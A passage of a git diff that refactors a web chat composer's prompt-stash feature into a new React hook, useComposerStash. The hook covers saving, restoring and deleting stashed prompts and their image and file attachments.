- name: file.name, - mimeType: file.mimeType, - sizeBytes: file.sizeBytes, - file: null, - ...(file.source ? { source: file.source } : {}), - ...(expired - ? {} - : { uploadedAttachmentId: file.attachmentId, uploadEnvironmentId: environmentId }), - }; - if (existingFileIds.has(file.id)) { - if (!expired && !retainedUploadIds.has(file.attachmentId)) { - duplicateFiles.push(file); - } - continue; - } - const reattachMarker = reattachMarkers.find( - (marker) => - !restoredMarkerIds.has(marker.id) && composerFileMatchesReattachMarker(marker, file), - ); - if (reattachMarker) { - restoredMarkerIds.add(reattachMarker.id); - existingFileIds.add(file.id); - existingFileKeys.add(key); - if (expired) { - expiredFileNames.push(file.name); - } else { - retainedUploadIds.add(file.attachmentId); - markerReplacements.push(restored); - } - continue; - } - if (existingFileKeys.has(key)) { - if (!expired && !retainedUploadIds.has(file.attachmentId)) { - duplicateFiles.push(file); - } - continue; - } - existingFileIds.add(file.id); - existingFileKeys.add(key); - if (expired) { - expiredFileNames.push(file.name); - } else { - retainedUploadIds.add(file.attachmentId); - } - appendedFiles.push(restored); - } - const capacity = remainingComposerAttachmentSlots( - composerImagesRef.current.length + composerFilesNow.length, - pendingThreadImportsRef.current.get(composerTargetKey(composerDraftTarget)) ?? 0, - ); - const filesToAppend = appendedFiles.slice(0, capacity); - const skippedFiles = appendedFiles.slice(capacity); - unrestoredFileNames = skippedFiles.map((file) => file.name); - // A non-durable take can resurrect the stash entry after a reload; - // deleting these uploads would leave it pointing at nothing. - if (durable) { - for (const file of duplicateFiles) { - releasePersistedAttachmentUpload({ - id: file.id, - environmentId, - attachmentId: file.attachmentId, - }); - } - for (const file of skippedFiles) { - if (file.uploadedAttachmentId) { - releasePersistedAttachmentUpload({ - id: file.id, - environmentId, - attachmentId: file.uploadedAttachmentId, - }); - } - } - } - const restoredFiles = [...markerReplacements, ...filesToAppend]; - if (restoredFiles.length > 0) { - addComposerDraftFiles(composerDraftTarget, restoredFiles, { appendReference: true }); - const restoredFilePrompt = getComposerDraft(composerDraftTarget)?.prompt; - if (restoredFilePrompt !== undefined && restoredFilePrompt !== promptRef.current) { - promptRef.current = restoredFilePrompt; - setComposerCursor( - collapseExpandedComposerCursor(restoredFilePrompt, restoredFilePrompt.length), - ); - setComposerTrigger(null); - promptChanged = true; - } - restoredFileCount = filesToAppend.length; - } - } - - let unrestoredImageNames: string[] = []; - if (entry.attachments.length > 0) { - const existingIds = new Set(composerImagesRef.current.map((image) => image.id)); - // The draft store also dedupes by mimeType+sizeBytes+name, so filter - // on the same key here. Counting a duplicate against capacity would - // burn a slot the store then refuses to fill, pushing a genuinely - // unique image into the overflow list for nothing. - const existingDedupKeys = new Set( - composerImagesRef.current.map( - (image) => `${image.mimeType}\0${image.sizeBytes}\0${image.name}`, - ), - ); - const capacity = remainingComposerAttachmentSlots( - composerImagesRef.current.length + composerFilesRef.current.length + restoredFileCount, - pendingThreadImportsRef.current.get(composerTargetKey(composerDraftTarget)) ?? 0, - ); - const pending = entry.attachments.filter( - (attachment) => - !existingIds.has(attachment.id) && - !existingDedupKeys.has( - `${attachment.mimeType}\0${attachment.sizeBytes}\0${attachment.name}`, - ), - ); - unrestoredImageNames = pending.slice(capacity).map((attachment) => attachment.name); - const restoredImages = hydrateImagesFromPersisted(pending.slice(0, capacity)); - if (restoredImages.length > 0) { - addComposerDraftImages(composerDraftTarget, restoredImages); - } - } - - const missingImageReasons: string[] = []; - if (entry.droppedImageNames.length > 0) { - missingImageReasons.push( - `${entry.droppedImageNames.join(", ")} exceeded the stash size limit when this prompt was saved.`, - ); - } - if (entry.unreadableImageNames && entry.unreadableImageNames.length > 0) { - missingImageReasons.push( - `${entry.unreadableImageNames.join(", ")} could not be read when this prompt was saved.`, - ); - } - if (unrestoredImageNames.length > 0) { - missingImageReasons.push( - `${unrestoredImageNames.join(", ")} could not be restored: the composer is at its ${PROVIDER_SEND_TURN_MAX_ATTACHMENTS}-attachment limit.`, - ); - } - if (unrestoredFileNames.length > 0) { - missingImageReasons.push( - `${unrestoredFileNames.join(", ")} could not be restored: the composer is at its ${PROVIDER_SEND_TURN_MAX_ATTACHMENTS}-attachment limit.`, - ); - } - if (expiredFileNames.length > 0) { - missingImageReasons.push( - `${expiredFileNames.join(", ")}: stashed files are kept for 24 hours and this upload expired. Attach the file again.`, - ); - } - if (missingImageReasons.length > 0) { - toastManager.add({ - type: "warning", - title: "Some attachments were not restored", - description: missingImageReasons.join(" "), - }); - } - - if (promptChanged) { - window.requestAnimationFrame(() => { - composerEditorRef.current?.focusAtEnd(); - }); - } - }; - const restoreStashEntryStable = useStableCallback(restoreStashEntry); - - const deleteStashEntry = (entry: PromptStashEntry) => { - const { entry: removed, durable } = takeStashEntry(entry.id); - if (!stashQueue.some((candidate) => candidate.id !== entry.id)) { - setIsStashMenuOpen(false); - } - if (durable && removed) { - for (const file of removed.files ?? []) { - releasePersistedAttachmentUpload({ - id: file.id, - environmentId: file.environmentId, - attachmentId: file.attachmentId, - }); - } - } - if (!durable) { - toastManager.add({ - type: "warning", - title: "Stash entry may come back", - description: - "Browser storage rejected the delete, so this prompt could reappear after a reload.", - data: { hideCopyButton: true }, - }); - } - }; - const deleteStashEntryStable = useStableCallback(deleteStashEntry); - - const stashCurrentPrompt = async () => { - // Stashing clears the draft. A pasted attachment still downloading would then land in the - // emptied composer instead of travelling with the entry it belongs to. - if (pendingDraftWork.has(attachmentTargetKeyRef.current)) { - toastManager.add({ - type: "info", - title: "Still bringing attached context into this message.", - description: "Stash again once its chip resolves.", - }); - return; - } - const prompt = promptRef.current.trim(); - const images = [...composerImagesRef.current]; - const files = [...composerFilesRef.current]; - const stashedRecords: ComposerContextRecord[] = [ - ...composerThreadContexts, - ...composerTerminalContextsRef.current.map(terminalContextRecord), - ...composerReviewComments.map(reviewCommentContextRecord), - ...composerPreviewAnnotations.map((annotation) => - previewAnnotationContextRecord(annotation, { - screenshotContextId: images.some((image) => image.id === annotation.id) - ? annotation.id - : undefined, - }), - ), - ]; - if (prompt.length === 0 && images.length === 0 && files.length === 0) { - const entries = usePromptStashStore.getState().entries; - const entry = entries.length === 1 ? entries[0] : undefined; - if (entry && !entry.pendingImageCount) { - await restoreStashEntry(entry); - } else { - setIsStashMenuOpen((open) => !open); - } - return; - } - const stashedFiles: PersistedComposerFileAttachment[] = []; - for (const file of files) { - if (composerFileNeedsReattach(file)) { - toastManager.add({ - type: "error", - title: "Attach dropped files again or remove them before stashing", - }); - return; - } - const upload = readAttachmentUpload(file.id); - if (upload?.status !== "ready" || upload.environmentId !== environmentId) { - toastManager.add({ - type: "error", - title: "Wait for file uploads before stashing this prompt", - }); - return; - } - stashedFiles.push({ - id: file.id, - name: file.name, - mimeType: file.mimeType, - sizeBytes: file.sizeBytes, - attachmentId: upload.attachmentId, - environmentId, - ...(file.source ? { source: file.source } : {}), - }); - } - // A repeat ⌘S on the *same* still-unencoded snapshot would stash it - // twice. Guard on the snapshot itself rather than a bare boolean: once - // the composer has been cleared the user can type something genuinely - // new (or switch threads) while encoding continues, and that deserves its - // own entry. - const attachmentKey = images - .map((image) => `image:${image.id}`) - .concat(files.map((file) => `file:${file.id}`)) - .join(","); - const snapshotKey = [String(composerDraftTarget), prompt, attachmentKey].join("\n"); - if (stashInFlightRef.current.has(snapshotKey)) return; - stashInFlightRef.current.add(snapshotKey); - - const stashTarget = composerDraftTarget; - const entryId = randomUUID(); - const stashAndEncode = async () => { - // Ordering matters in both directions: writing before clearing means a - // crash or closed tab mid-encode still leaves the prompt recoverable, - // while clearing before the async image work means edits typed during - // encoding are not wiped. - const { evicted, written, durable } = stashEntryToQueue({ - id: entryId, - createdAt: new Date().toISOString(), - prompt, - attachments: [], - ...(stashedFiles.length > 0 ? { files: stashedFiles } : {}), - droppedImageNames: [], - unreadableImageNames: [], - pendingImageCount: images.length, - ...(stashedRecords.length > 0 ? { records: stashedRecords } : {}), - }); - - // If it was rejected (quota) the store has already rolled itself back, - // so leave the composer untouched rather than making it the second - // casualty of a reload. - if (!written) { - toastManager.add({ - type: "error", - title: "Could not stash this prompt", - description: - "Browser storage rejected the write, so the composer was left as-is. Free up site data and try again.", - data: { hideCopyButton: true }, - }); - return; - } - if (!durable) { - toastManager.add({ - type: "warning", - title: "Stashed prompt will not survive a reload", - description: - "Browser storage is unavailable, so this stash is kept in memory only for this session.", - data: { hideCopyButton: true }, - }); - } - - promptRef.current = ""; - clearComposerDraftPromptAndImages(stashTarget); - clearComposerDraftTerminalContexts(stashTarget); - setComposerDraftThreadContexts(stashTarget, []); - for (const comment of composerReviewComments) { - removeComposerDraftReviewComment(stashTarget, comment.id); - } - for (const annotation of composerPreviewAnnotations) { - releaseAttachmentUpload(annotation.id); - removeComposerDraftPreviewAnnotation(stashTarget, annotation.id); - } - setComposerDraftPrompt(stashTarget, ""); - for (const image of images) { - releaseAttachmentUpload(image.id); - } - setComposerCursor(0); - setComposerTrigger(null); - pulseStashBadge(); - - if (evicted) { - for (const file of evicted.files ?? []) { - releasePersistedAttachmentUpload({ - id: file.id, - environmentId: file.environmentId, - attachmentId: file.attachmentId, - }); - } - toastManager.add({ - type: "warning", - title: "Oldest stashed prompt discarded", - description: `The stash holds ${MAX_STASH_ENTRIES} prompts; the oldest was removed to make room.`, - data: { hideCopyButton: true }, - }); - } - - // Images are re-encoded for the stash rather than stored verbatim: the - // composer allows up to 10MB per image, but localStorage gives the whole - // origin ~5MB. - const candidateAttachments: PersistedComposerImageAttachment[] = []; - const oversizedImageNames: string[] = []; - const unreadableImageNames: string[] = []; - for (const image of images) { - const result = await compressImageForStash(image.file); - if (!result.ok) { - (result.reason === "too-large" ? oversizedImageNames : unreadableImageNames).push( - image.name, - ); - continue; - } - candidateAttachments.push({ - id: image.id, - name: image.name, - mimeType: result.image.mimeType, - sizeBytes: result.image.sizeBytes, - dataUrl: result.image.dataUrl, - ...(image.source - ? { source: resizeSnapShotSource(image.source, result.image.imageSize) } - : {}), - }); - } - const { kept, droppedNames } = partitionStashAttachments(candidateAttachments); - - const { attached, durable: imagesDurable } = finalizeStashEntryImages(entryId, { - attachments: kept, - droppedImageNames: [...oversizedImageNames, ...droppedNames], - unreadableImageNames, - }); - if (attached) { - if (!imagesDurable && durable && images.length > 0) { - toastManager.add({ - type: "warning", - title: "Stashed images were not saved", - description: - "The prompt was stashed, but browser storage rejected its images. They will be missing if you reload.", - data: { hideCopyButton: true }, - }); - } - } else if (kept.length > 0) { - toastManager.add({ - type: "warning", - title: "Stashed images did not attach", - description: `That prompt was restored or deleted before ${kept.length} image${kept.length === 1 ? "" : "s"} finished saving. Re-attach ${kept.length === 1 ? "it" : "them"} if you still need ${kept.length === 1 ? "it" : "them"}.`, - data: { hideCopyButton: true }, - }); - } - }; - await stashAndEncode().finally(() => stashInFlightRef.current.delete(snapshotKey)); - }; - const stashCurrentPromptStable = useStableCallback(stashCurrentPrompt); - - const toggleStashMenu = () => { - if (isComposerCollapsedMobile) { - expandMobileComposer(); - setIsStashMenuOpen(true); - return; - } - setIsStashMenuOpen((open) => !open); - }; - const toggleStashMenuStable = useStableCallback(toggleStashMenu); + const { + stashQueue, + isStashMenuOpen, + setIsStashMenuOpen, + stashPulse, + restoreStashEntryStable, + deleteStashEntryStable, + toggleStashMenuStable, + } = useComposerStash({ + environmentId, + composerDraftTarget, + promptRef, + composerImagesRef, + composerFilesRef, + composerTerminalContextsRef, + keybindings, + terminalOpen, + projectSelectionRequired, + isRevertingCheckpoint, + pendingUserInputs, + activePendingProgress, + prompt, + composerMenuOpen, + isComposerModelPickerOpen, + isComposerCollapsedMobile, + composerPreviewAnnotations, + composerReviewComments, + composerThreadContexts, + attachmentTargetKeyRef, + composerDraftTargetKeyRef, + composerEditorRef, + isRevertingCheckpointRef, + pendingThreadImportsRef, + setComposerCursor, + setComposerTrigger, + importContextRecords, + expandMobileComposer: expandMobileComposerStable, + }); const toggleTasksDrawer = () => { setIsTasksDrawerOpen((open) => !open); }; @@ -3755,54 +3229,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) } if (tasksDrawerThreadId !== activeThreadId) setTasksDrawerThreadId(activeThreadId); - const [stashMenuClosesOn, setStashMenuClosesOn] = useState({ prompt, composerMenuOpen }); - if ( - stashMenuClosesOn.prompt !== prompt || - stashMenuClosesOn.composerMenuOpen !== composerMenuOpen - ) { - setStashMenuClosesOn({ prompt, composerMenuOpen }); - if (stashMenuClosesOn.prompt !== prompt || composerMenuOpen) setIsStashMenuOpen(false); - } - - useEffect(() => { - const handler = (event: globalThis.KeyboardEvent) => { - const command = resolveShortcutCommand(event, keybindings, { - context: { - terminalFocus: getTerminalFocusOwner() !== null, - terminalOpen, - modelPickerOpen: isComposerModelPickerOpen, - }, - }); - if (command !== "composer.stash") return; - // Always claim the shortcut so the browser save dialog never opens, - // even when the composer is in a state that can't stash. - event.preventDefault(); - event.stopPropagation(); - if (isCommandPaletteOpen() || isRevertingCheckpoint) { - return; - } - if (pendingUserInputs.length > 0) { - setIsStashMenuOpen((open) => !open); - return; - } - if (projectSelectionRequired || activePendingProgress !== null) { - return; - } - void stashCurrentPromptStable(); - }; - window.addEventListener("keydown", handler, true); - return () => window.removeEventListener("keydown", handler, true); - }, [ - activePendingProgress, - isComposerModelPickerOpen, - keybindings, - pendingUserInputs.length, - projectSelectionRequired, - stashCurrentPromptStable, - isRevertingCheckpoint, - terminalOpen, - ]); - const insertComposerText = ( text: string, position: "cursor" | "end", diff --git a/apps/web/src/components/chat/useComposerStash.ts b/apps/web/src/components/chat/useComposerStash.ts new file mode 100644 index 000000000000..04fa4864bd73 --- /dev/null +++ b/apps/web/src/components/chat/useComposerStash.ts @@ -0,0 +1,745 @@ +import type { ChatComposerProps } from "./ChatComposer"; +import { + type ComposerContextRecord, + type EnvironmentId, + PROVIDER_SEND_TURN_MAX_ATTACHMENTS, + type PreviewAnnotationPayload, + type ThreadContextRecord, +} from "@t3tools/contracts"; +import { + type ComposerFileAttachment, + type PersistedComposerFileAttachment, + type PersistedComposerImageAttachment, + composerFileDedupKey, + composerFileMatchesReattachMarker, + composerFileNeedsReattach, + composerTargetKey, + hydrateImagesFromPersisted, + useComposerDraftStore, +} from "../../composerDraftStore"; +import { type ComposerPromptEditorHandle } from "../ComposerPromptEditor"; +import { + MAX_STASH_ENTRIES, + type PromptStashEntry, + partitionStashAttachments, + usePromptStashStore, +} from "../../promptStashStore"; +import { type PendingUserInput } from "../../session-logic"; +import { type ReviewCommentContext } from "../../reviewCommentContext"; +import { collapseExpandedComposerCursor } from "../../composer-logic"; +import { compressImageForStash } from "../../lib/imageCompression"; +import { formatInlineContextReference } from "~/lib/composerContextReferences"; +import { getTerminalFocusOwner } from "../../lib/terminalFocus"; +import { isCommandPaletteOpen } from "../../commandPaletteBus"; +import { pendingDraftWork } from "./pendingDraftWork"; +import { + previewAnnotationContextRecord, + reviewCommentContextRecord, + terminalContextRecord, +} from "~/lib/composerContextRecords"; +import { randomUUID } from "~/lib/utils"; +import { + readAttachmentUpload, + releaseAttachmentUpload, + releasePersistedAttachmentUpload, + verifyStashedAttachmentUpload, +} from "../../lib/attachmentUploadQueue"; +import { remainingComposerAttachmentSlots } from "./composerThreadImport"; +import { replaceComposerContextReferences } from "@t3tools/shared/composerContextReferences"; +import { resizeSnapShotSource } from "../../lib/snapShotSource"; +import { resolveShortcutCommand } from "../../keybindings"; +import { toastManager } from "../ui/toast"; +import type { useComposerTriggerState } from "./useComposerTriggerState"; +import { + type Dispatch, + type RefObject, + type SetStateAction, + useEffect, + useRef, + useState, +} from "react"; +import { useStableCallback } from "../../hooks/useStableCallback"; + +/** + * The prompt stash: saving the draft aside, restoring or deleting an entry, the badge pulse, + * and the stash shortcut. Its state lives here so the composer body only wires it up. + */ +export function useComposerStash(input: { + readonly environmentId: EnvironmentId; + readonly composerDraftTarget: ChatComposerProps["composerDraftTarget"]; + readonly promptRef: ChatComposerProps["promptRef"]; + readonly composerImagesRef: ChatComposerProps["composerImagesRef"]; + readonly composerFilesRef: ChatComposerProps["composerFilesRef"]; + readonly composerTerminalContextsRef: ChatComposerProps["composerTerminalContextsRef"]; + readonly keybindings: ChatComposerProps["keybindings"]; + readonly terminalOpen: boolean; + readonly projectSelectionRequired: boolean; + readonly isRevertingCheckpoint: boolean; + readonly pendingUserInputs: ReadonlyArray; + readonly activePendingProgress: ChatComposerProps["activePendingProgress"]; + readonly prompt: string; + readonly composerMenuOpen: boolean; + readonly isComposerModelPickerOpen: boolean; + readonly isComposerCollapsedMobile: boolean; + readonly composerPreviewAnnotations: ReadonlyArray; + readonly composerReviewComments: ReadonlyArray; + readonly composerThreadContexts: ReadonlyArray; + readonly attachmentTargetKeyRef: RefObject; + readonly composerDraftTargetKeyRef: RefObject; + readonly composerEditorRef: RefObject; + readonly isRevertingCheckpointRef: RefObject; + readonly pendingThreadImportsRef: RefObject>; + readonly setComposerCursor: Dispatch>; + readonly setComposerTrigger: ReturnType["setTrigger"]; + readonly importContextRecords: ( + records: ReadonlyArray, + sourceEnvironmentId: EnvironmentId | null, + threadDraftTarget?: ChatComposerProps["composerDraftTarget"], + ) => ReadonlyMap; + readonly expandMobileComposer: () => void; +}) { + const { + environmentId, + composerDraftTarget, + promptRef, + composerImagesRef, + composerFilesRef, + composerTerminalContextsRef, + keybindings, + terminalOpen, + projectSelectionRequired, + isRevertingCheckpoint, + pendingUserInputs, + activePendingProgress, + prompt, + composerMenuOpen, + isComposerModelPickerOpen, + isComposerCollapsedMobile, + composerPreviewAnnotations, + composerReviewComments, + composerThreadContexts, + attachmentTargetKeyRef, + composerDraftTargetKeyRef, + composerEditorRef, + isRevertingCheckpointRef, + pendingThreadImportsRef, + setComposerCursor, + setComposerTrigger, + importContextRecords, + expandMobileComposer, + } = input; + const getComposerDraft = useComposerDraftStore((store) => store.getComposerDraft); + const setComposerDraftPrompt = useComposerDraftStore((store) => store.setPrompt); + const addComposerDraftImages = useComposerDraftStore((store) => store.addImages); + const addComposerDraftFiles = useComposerDraftStore((store) => store.addFiles); + const removeComposerDraftPreviewAnnotation = useComposerDraftStore( + (store) => store.removePreviewAnnotation, + ); + const removeComposerDraftReviewComment = useComposerDraftStore( + (store) => store.removeReviewComment, + ); + const clearComposerDraftTerminalContexts = useComposerDraftStore( + (store) => store.clearTerminalContexts, + ); + const clearComposerDraftPromptAndImages = useComposerDraftStore( + (store) => store.clearComposerPromptAndImages, + ); + const setComposerDraftThreadContexts = useComposerDraftStore((store) => store.setThreadContexts); + const [isStashMenuOpen, setIsStashMenuOpen] = useState(false); + const [stashPulse, setStashPulse] = useState<{ key: number; active: boolean }>({ + key: 0, + active: false, + }); + const stashPulseKeyRef = useRef(0); + const stashPulseTimeoutRef = useRef(null); + const stashInFlightRef = useRef>(new Set()); + + const stashQueue = usePromptStashStore((state) => state.entries); + const stashEntryToQueue = usePromptStashStore((state) => state.stashEntry); + const takeStashEntry = usePromptStashStore((state) => state.takeEntry); + const finalizeStashEntryImages = usePromptStashStore((state) => state.finalizeEntryImages); + + useEffect(() => { + return () => { + if (stashPulseTimeoutRef.current !== null) { + window.clearTimeout(stashPulseTimeoutRef.current); + } + }; + }, []); + + const pulseStashBadge = () => { + stashPulseKeyRef.current += 1; + setStashPulse({ key: stashPulseKeyRef.current, active: true }); + if (stashPulseTimeoutRef.current !== null) { + window.clearTimeout(stashPulseTimeoutRef.current); + } + stashPulseTimeoutRef.current = window.setTimeout(() => { + stashPulseTimeoutRef.current = null; + setStashPulse((current) => ({ ...current, active: false })); + }, 1200); + }; + + const restoreStashEntry = async (menuEntry: PromptStashEntry) => { + const filesToVerify = menuEntry.files ?? []; + if (filesToVerify.some((file) => file.environmentId !== environmentId)) { + toastManager.add({ + type: "error", + title: "Stashed files belong to another environment", + description: "Restore this prompt in the environment that received its files.", + }); + return; + } + setIsStashMenuOpen(false); + + // An expired upload restores as a needs-reattach row instead of a reference + // the next send would fail to verify. Verify BEFORE taking: the take + // removes the entry from durable storage, and a tab closed during this + // await must still find it there after reload. + const verifications = await Promise.all( + filesToVerify.map((file) => + verifyStashedAttachmentUpload({ environmentId, attachmentId: file.attachmentId }), + ), + ); + const expiredAttachmentIds = new Set( + filesToVerify + .filter((_, index) => verifications[index]?.status === "missing") + .map((file) => file.attachmentId), + ); + + // A thread switch during the verify await would mix the new thread's + // prompt with this invocation's captured target. Nothing was taken yet, + // so abort and leave the entry restorable where the user now is. + if ( + isRevertingCheckpointRef.current || + composerTargetKey(composerDraftTarget) !== composerDraftTargetKeyRef.current + ) { + return; + } + + const { entry, durable } = takeStashEntry(menuEntry.id); + if (!entry) return; + if (!durable) { + toastManager.add({ + type: "warning", + title: "Restored prompt may reappear in the stash", + description: + "Browser storage rejected the update, so this entry could still be there after a reload.", + data: { hideCopyButton: true }, + }); + } + + const rewrittenContextIds = entry.records + ? importContextRecords(entry.records, null, composerDraftTarget) + : new Map(); + const restoredPrompt = replaceComposerContextReferences(entry.prompt, (reference) => { + const contextId = rewrittenContextIds.get(reference.contextId); + return contextId + ? formatInlineContextReference({ + ...reference, + contextId, + kind: reference.kind === "element" ? "preview-annotation" : reference.kind, + }) + : reference.source; + }); + const currentPrompt = promptRef.current; + const nextPrompt = + restoredPrompt.length === 0 + ? currentPrompt + : currentPrompt.trim().length + ? `${currentPrompt.replace(/\s+$/, "")}\n\n${restoredPrompt}` + : restoredPrompt; + let promptChanged = nextPrompt !== currentPrompt; + if (promptChanged) { + promptRef.current = nextPrompt; + setComposerDraftPrompt(composerDraftTarget, nextPrompt); + setComposerCursor(collapseExpandedComposerCursor(nextPrompt, nextPrompt.length)); + setComposerTrigger(null); + } + + let unrestoredFileNames: string[] = []; + const expiredFileNames: string[] = []; + let restoredFileCount = 0; + const stashedFiles = entry.files ?? []; + if (stashedFiles.length > 0) { + const composerFilesNow = composerFilesRef.current; + const existingFileIds = new Set(composerFilesNow.map((file) => file.id)); + const retainedUploadIds = new Set( + composerFilesNow.flatMap((file) => + file.uploadedAttachmentId ? [file.uploadedAttachmentId] : [], + ), + ); + const existingFileKeys = new Set(composerFilesNow.map(composerFileDedupKey)); + const reattachMarkers = composerFilesNow.filter(composerFileNeedsReattach); + const restoredMarkerIds = new Set(); + const duplicateFiles: PersistedComposerFileAttachment[] = []; + const markerReplacements: ComposerFileAttachment[] = []; + const appendedFiles: ComposerFileAttachment[] = []; + for (const file of stashedFiles) { + const expired = expiredAttachmentIds.has(file.attachmentId); + const key = composerFileDedupKey(file); + const restored: ComposerFileAttachment = { + type: "file", + id: file.id, + name: file.name, + mimeType: file.mimeType, + sizeBytes: file.sizeBytes, + file: null, + ...(file.source ? { source: file.source } : {}), + ...(expired + ? {} + : { uploadedAttachmentId: file.attachmentId, uploadEnvironmentId: environmentId }), + }; + if (existingFileIds.has(file.id)) { + if (!expired && !retainedUploadIds.has(file.attachmentId)) { + duplicateFiles.push(file); + } + continue; + } + const reattachMarker = reattachMarkers.find( + (marker) => + !restoredMarkerIds.has(marker.id) && composerFileMatchesReattachMarker(marker, file), + ); + if (reattachMarker) { + restoredMarkerIds.add(reattachMarker.id); + existingFileIds.add(file.id); + existingFileKeys.add(key); + if (expired) { + expiredFileNames.push(file.name); + } else { + retainedUploadIds.add(file.attachmentId); + markerReplacements.push(restored); + } + continue; + } + if (existingFileKeys.has(key)) { + if (!expired && !retainedUploadIds.has(file.attachmentId)) { + duplicateFiles.push(file); + } + continue; + } + existingFileIds.add(file.id); + existingFileKeys.add(key); + if (expired) { + expiredFileNames.push(file.name); + } else { + retainedUploadIds.add(file.attachmentId); + } + appendedFiles.push(restored); + } + const capacity = remainingComposerAttachmentSlots( + composerImagesRef.current.length + composerFilesNow.length, + pendingThreadImportsRef.current.get(composerTargetKey(composerDraftTarget)) ?? 0, + ); + const filesToAppend = appendedFiles.slice(0, capacity); + const skippedFiles = appendedFiles.slice(capacity); + unrestoredFileNames = skippedFiles.map((file) => file.name); + // A non-durable take can resurrect the stash entry after a reload; + // deleting these uploads would leave it pointing at nothing. + if (durable) { + for (const file of duplicateFiles) { + releasePersistedAttachmentUpload({ + id: file.id, + environmentId, + attachmentId: file.attachmentId, + }); + } + for (const file of skippedFiles) { + if (file.uploadedAttachmentId) { + releasePersistedAttachmentUpload({ + id: file.id, + environmentId, + attachmentId: file.uploadedAttachmentId, + }); + } + } + } + const restoredFiles = [...markerReplacements, ...filesToAppend]; + if (restoredFiles.length > 0) { + addComposerDraftFiles(composerDraftTarget, restoredFiles, { appendReference: true }); + const restoredFilePrompt = getComposerDraft(composerDraftTarget)?.prompt; + if (restoredFilePrompt !== undefined && restoredFilePrompt !== promptRef.current) { + promptRef.current = restoredFilePrompt; + setComposerCursor( + collapseExpandedComposerCursor(restoredFilePrompt, restoredFilePrompt.length), + ); + setComposerTrigger(null); + promptChanged = true; + } + restoredFileCount = filesToAppend.length; + } + } + + let unrestoredImageNames: string[] = []; + if (entry.attachments.length > 0) { + const existingIds = new Set(composerImagesRef.current.map((image) => image.id)); + // The draft store also dedupes by mimeType+sizeBytes+name, so filter + // on the same key here. Counting a duplicate against capacity would + // burn a slot the store then refuses to fill, pushing a genuinely + // unique image into the overflow list for nothing. + const existingDedupKeys = new Set( + composerImagesRef.current.map( + (image) => `${image.mimeType}\0${image.sizeBytes}\0${image.name}`, + ), + ); + const capacity = remainingComposerAttachmentSlots( + composerImagesRef.current.length + composerFilesRef.current.length + restoredFileCount, + pendingThreadImportsRef.current.get(composerTargetKey(composerDraftTarget)) ?? 0, + ); + const pending = entry.attachments.filter( + (attachment) => + !existingIds.has(attachment.id) && + !existingDedupKeys.has( + `${attachment.mimeType}\0${attachment.sizeBytes}\0${attachment.name}`, + ), + ); + unrestoredImageNames = pending.slice(capacity).map((attachment) => attachment.name); + const restoredImages = hydrateImagesFromPersisted(pending.slice(0, capacity)); + if (restoredImages.length > 0) { + addComposerDraftImages(composerDraftTarget, restoredImages); + } + } + + const missingImageReasons: string[] = []; + if (entry.droppedImageNames.length > 0) { + missingImageReasons.push( + `${entry.droppedImageNames.join(", ")} exceeded the stash size limit when this prompt was saved.`, + ); + } + if (entry.unreadableImageNames && entry.unreadableImageNames.length > 0) { + missingImageReasons.push( + `${entry.unreadableImageNames.join(", ")} could not be read when this prompt was saved.`, + ); + } + if (unrestoredImageNames.length > 0) { + missingImageReasons.push( + `${unrestoredImageNames.join(", ")} could not be restored: the composer is at its ${PROVIDER_SEND_TURN_MAX_ATTACHMENTS}-attachment limit.`, + ); + } + if (unrestoredFileNames.length > 0) { + missingImageReasons.push( + `${unrestoredFileNames.join(", ")} could not be restored: the composer is at its ${PROVIDER_SEND_TURN_MAX_ATTACHMENTS}-attachment limit.`, + ); + } + if (expiredFileNames.length > 0) { + missingImageReasons.push( + `${expiredFileNames.join(", ")}: stashed files are kept for 24 hours and this upload expired. Attach the file again.`, + ); + } + if (missingImageReasons.length > 0) { + toastManager.add({ + type: "warning", + title: "Some attachments were not restored", + description: missingImageReasons.join(" "), + }); + } + + if (promptChanged) { + window.requestAnimationFrame(() => { + composerEditorRef.current?.focusAtEnd(); + }); + } + }; + const restoreStashEntryStable = useStableCallback(restoreStashEntry); + + const deleteStashEntry = (entry: PromptStashEntry) => { + const { entry: removed, durable } = takeStashEntry(entry.id); + if (!stashQueue.some((candidate) => candidate.id !== entry.id)) { + setIsStashMenuOpen(false); + } + if (durable && removed) { + for (const file of removed.files ?? []) { + releasePersistedAttachmentUpload({ + id: file.id, + environmentId: file.environmentId, + attachmentId: file.attachmentId, + }); + } + } + if (!durable) { + toastManager.add({ + type: "warning", + title: "Stash entry may come back", + description: + "Browser storage rejected the delete, so this prompt could reappear after a reload.", + data: { hideCopyButton: true }, + }); + } + }; + const deleteStashEntryStable = useStableCallback(deleteStashEntry); + + const stashCurrentPrompt = async () => { + // Stashing clears the draft. A pasted attachment still downloading would then land in the + // emptied composer instead of travelling with the entry it belongs to. + if (pendingDraftWork.has(attachmentTargetKeyRef.current)) { + toastManager.add({ + type: "info", + title: "Still bringing attached context into this message.", + description: "Stash again once its chip resolves.", + }); + return; + } + const prompt = promptRef.current.trim(); + const images = [...composerImagesRef.current]; + const files = [...composerFilesRef.current]; + const stashedRecords: ComposerContextRecord[] = [ + ...composerThreadContexts, + ...composerTerminalContextsRef.current.map(terminalContextRecord), + ...composerReviewComments.map(reviewCommentContextRecord), + ...composerPreviewAnnotations.map((annotation) => + previewAnnotationContextRecord(annotation, { + screenshotContextId: images.some((image) => image.id === annotation.id) + ? annotation.id + : undefined, + }), + ), + ]; + if (prompt.length === 0 && images.length === 0 && files.length === 0) { + const entries = usePromptStashStore.getState().entries; + const entry = entries.length === 1 ? entries[0] : undefined; + if (entry && !entry.pendingImageCount) { + await restoreStashEntry(entry); + } else { + setIsStashMenuOpen((open) => !open); + } + return; + } + const stashedFiles: PersistedComposerFileAttachment[] = []; + for (const file of files) { + if (composerFileNeedsReattach(file)) { + toastManager.add({ + type: "error", + title: "Attach dropped files again or remove them before stashing", + }); + return; + } + const upload = readAttachmentUpload(file.id); + if (upload?.status !== "ready" || upload.environmentId !== environmentId) { + toastManager.add({ + type: "error", + title: "Wait for file uploads before stashing this prompt", + }); + return; + } + stashedFiles.push({ + id: file.id, + name: file.name, + mimeType: file.mimeType, + sizeBytes: file.sizeBytes, + attachmentId: upload.attachmentId, + environmentId, + ...(file.source ? { source: file.source } : {}), + }); + } + // A repeat ⌘S on the *same* still-unencoded snapshot would stash it + // twice. Guard on the snapshot itself rather than a bare boolean: once + // the composer has been cleared the user can type something genuinely + // new (or switch threads) while encoding continues, and that deserves its + // own entry. + const attachmentKey = images + .map((image) => `image:${image.id}`) + .concat(files.map((file) => `file:${file.id}`)) + .join(","); + const snapshotKey = [String(composerDraftTarget), prompt, 